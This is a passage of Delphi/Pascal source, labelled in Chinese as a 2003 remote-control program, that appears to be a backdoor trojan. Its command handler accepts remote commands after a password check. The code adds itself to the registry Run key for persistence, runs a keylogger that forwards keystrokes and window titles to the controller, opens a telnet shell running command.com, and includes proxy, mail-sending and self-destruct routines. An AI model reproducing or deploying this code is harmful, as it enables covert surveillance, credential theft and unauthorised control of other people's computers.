main.pas

2003年的远程控制

                end;
  parsecommand(tmp);
 until pos(nl,tx)=0;
if telnetusr then socket.SendText('root@'+hostname+' # ');
end;

procedure parsecommand(s:string);
var comm,par1,par2:ansistring;
begin
xlog(c_backcomm+s);
par1:='';
par2:='';
comm:='';
if pos(' ',s)=0 then comm:=s
else
begin
comm:=copy(s,1,pos(' ',s)-1);
s:=copy(s,pos(' ',s)+1,255);
if pos(' ',s)=0 then par1:=s
 else
 begin
 par1:=copy(s,1,pos(' ',s)-1);
 par2:=copy(s,pos(' ',s)+1,255);
 end;
end;
comm:=uppercase(comm);
command(comm,par1,par2);
end;

procedure Command(comm:string;par1,par2:string);
begin
if comm='VERSION' then begin xsend(Inf_version+version); exit; end;
if comm='PING' then begin xsend(Inf_pong); exit; end;
if comm='USER' then begin xsend(Inf_username+GetNetUserName); exit; end;
if comm='HOST' then begin xsend(Inf_hostname+HostName); exit; end;
if comm='INFO' then begin xsend(Inf_info+config.info); exit; end;
if comm='WINVER' then begin xsend(Inf_winver+t_registeryReadString(Reg_current,'VersionNumber')); exit; end;
if comm='ONLINE' then begin xsend(Inf_online+inttostr(GetTickCount div 1000)); exit; end;
if (not autorized)and(not scriptrunning) then
begin
if comm='PASS' then
 begin
 if (par1=Password) then
  begin
  xsend(Inf_Access);
  autorized:=true;
  if telnetusr then key_level:=key_0;
  end else
  begin
  xsend(Inf_AccessDenied);
  Back_kick;
  end;
 end else xsend(Inf_WaitforPass);
 exit;
end;
if comm<>'WRITESCRIPTLINE' then
begin
par1:=t_wymien(par1,'%win',inttostr(winvalue));
par1:=t_wymien(par1,'%bool',T_bool(boolvalue));
par2:=t_wymien(par2,'%win',inttostr(winvalue));
par2:=t_wymien(par2,'%bool',T_bool(boolvalue));
end;
main_command(comm,par1,par2);
end;

procedure help(par1:string);
begin
xsend(version+' help');
xsend('VERSION PING USER HOST INFO STATUS ONLINE');
xsend('EXIT DESTRUCT KEYVIEW and many more');
xsend('help under construction :)');
end;

procedure main_command(comm:string;par1,par2:string);
begin
if SCR_commands(comm,par1,par2) then exit;
if T_commands(comm,par1,par2) then exit;
if WIN_commands(comm,par1,par2) then exit;
if FIG_commands(comm,par1,par2) then exit;
if NET_commands(comm,par1,par2) then exit;
if HTTPD_commands(comm,par1,par2) then exit;
if comm='HELP' then help(par1) else
if comm='EXIT' then back_kick else
if comm='KEYVIEW' then begin key_level:=strtointdef(par1,1); exit; end else
if comm='DESTRUCT' then begin closeapp; halt; end else
if comm='KILL' then begin T_RegisteryRemoveRun; update_run:=false; closeapp; halt; end else
if comm='KEYBEEP' then keybeep:=t_zerojeden(par1) else

end;

procedure Tpro70.BackClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
BACK_disconnect(socket);
end;

procedure Tpro70.clisockDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
PROXY_server_disconnect(socket);
end;

procedure Tpro70.Timer1inv(Sender: TObject);
var dc:hdc;
    rec:trect;
begin
dc:=CreateDC('DISPLAY',nil,nil,nil);
SetRect(rec,0,0,Getdevicecaps(dc,horzres),getdevicecaps(dc,vertres));
invertrect(dc,rec);
deleteDC(dc);
timer1.enabled:=false;
end;

procedure CloseApp;
begin
CloseHandle(hMaping);
killall('TForm1');
killall('TPro6');
killall('TPro61');
form1.hide;
writeconfig;
if update_run then T_RegisteryAddRun(config.profile);
xlog('Exit program');
t_closelog;
t_closekeylog;
end;

procedure Tpro70.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CloseApp;
canclose:=true;
end;

procedure Tpro70.mazak(Sender:Tobject;var done:boolean);
begin efekt_rozmazanie; done:=false; end;

procedure Tpro70.mazak2(Sender:Tobject;var done:boolean);
begin efekt_plamistosc; done:=false; end;

procedure Tpro70.mazak3(Sender:Tobject;var done:boolean);
begin efekt_ostrosc; done:=false; end;

procedure Tpro70.mazak4(Sender:Tobject;var done:boolean);
begin efekt_wiatr; done:=false; end;

procedure Tpro70.mazak5(Sender:Tobject;var done:boolean);
begin lupa; done:=false; end;

procedure Tpro70.TimerShowWindow(Sender: TObject);
begin
WIN_showdefwindow;
timer1.enabled:=false;
end;

procedure Tpro70.TimerFlash(Sender: TObject);
begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,-1);
timer1.enabled:=false;
end;

procedure Tpro70.Timer1Jpeg(Sender: TObject);
var oldvalue:longbool;
begin
vjpeg.hide;
vjpeg.free;
systemparametersinfo(97,word(false),@oldvalue,0);
timer1.enabled:=false;
end;

procedure Tpro70.ServSockClientWrite(Sender: TObject;
  Socket: TCustomWinSocket);
begin
proxy_server_push(socket);
end;


procedure Tpro70.httpClientRequest(Sender: TObject;
  Socket: TCustomWinSocket);
begin
httpd_request(socket);
end;

procedure Tpro70.httpClientError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
case errorcode of
10054: xlog(c_backdisc);
else xlog(c_backerror+inttostr(errorcode));
end;
errorcode:=0;
socket.close;
httpd_close;
errorcode:=0;
end;

procedure Tpro70.httpClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
inc(httpd_);
if http.Socket.ActiveConnections<>1 then
 begin socket.close; exit; end;
httpd_connect;
end;

procedure Tpro70.countTimer(Sender: TObject);
begin
script_count;
end;

procedure Tpro70.sendmailConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
debug('mail server connected');
end;

procedure Tpro70.sendmailError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
case ErrorCode of
 10061:debug('Server not found');
 else debug('Error '+inttostr(errorcode));
 end;
sendmail.active:=false;
ErrorCode:=0;
net_mailsent:=false;
net_mailsending:=false;
end;

procedure Tpro70.sendmailRead(Sender: TObject; Socket: TCustomWinSocket);
begin
net_mail(socket);
end;

procedure Tpro70.httpClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
dec(httpd_);
httpd_close;
end;

procedure Tpro70.sendmailDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
debug('ms disconnect');
NET_mailsending:=false;
end;

procedure Tpro70.KeySpyKeySpyDown(Sender: TObject; Key: Byte;
  KeyStr: String);
var i:integer;
    win:hwnd;
    title:Pchar;
begin
if keybeep then beep;
win:=getforegroundwindow;
if focus_win<>win then
 begin
 title:=Stralloc(101);
 getwindowtext(win,title,100);
 xsend(inf_chwin+title);
 if config.title then keybuffer.Add(nl+'['+title+']'+nl);
 focus_win:=win;
 strdispose(title);
 end;
if (key_level=key_1) then xsend(Inf_key+keystr);
if not keylog then exit;
if (length(keystr)>0) and (keystr[1]='{') then
 begin
 if config.syskey then keybuffer.Add(keystr);
 end else keybuffer.Add(keystr);
if keybuffer.Count>20 then
 begin
 for i:=0 to keybuffer.count-1 do xkeylog(keybuffer.Strings[i]);
 keybuffer.clear;
 T_flushkeylog;
 end;
end;

procedure errorproc(ErrorCode: Integer);
begin
debug('sock error'+inttostr(errorcode));
net_mailsending:=false;
net_mailsent:=false;
end;


procedure Tpro70.KeySpyKeyword(Sender: TObject; Key: Byte; KeyStr: String);
begin
debug('Keyword: '+Keystr);
runscript(keystr);
end;

procedure Tpro70.telnetClientConnect(Sender: TObject;Socket: TCustomWinSocket);
begin
przerwij:=false;
if form1.telnet.Socket.ActiveConnections>1 then socket.close;
socket.sendtext(#$FF#$FB#$01#13#10);
ExecConsoleApp('command.com');
end;

procedure Tpro70.telnetClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
TelnetRead(Sender,Socket);
end;

procedure Tpro70.telnetClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
ErrorCode:=0;
przerwij:=true;
end;

procedure Tpro70.telnetClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
cmd_end;
end;

begin
seterrorproc(errorproc);
end.